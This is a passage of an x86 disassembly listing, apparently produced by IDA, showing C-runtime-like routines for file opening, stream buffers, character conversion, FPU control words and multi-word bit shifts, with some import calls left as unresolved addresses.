ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43CA18 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB5C8 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC98 jl short loc_423990 xor edx, edx mov ecx, offset dword_43CA28 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC600[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA88 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2E8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB490 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB5A0, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB2A8, 16h mov dword_4DB2AC, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB2B0 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB2AC, 0 mov dword_4DB2A8, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 2700729h mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2630000h test eax, eax jnz short loc_423C11 push esi call near ptr 26619D4h nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 2680930h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB2AC, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB498 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26105D2h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE5C push esi push ebx nop call near ptr 2620000h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB498, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB364 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2620000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB374 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2830000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2830000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 26105D2h jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB364, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C534 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB374 nop call near ptr 2821363h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB364, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C328 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C534 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB374 nop call near ptr 2830000h test eax, eax mov eax, dword_43C534 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB374 nop call near ptr 2830000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; 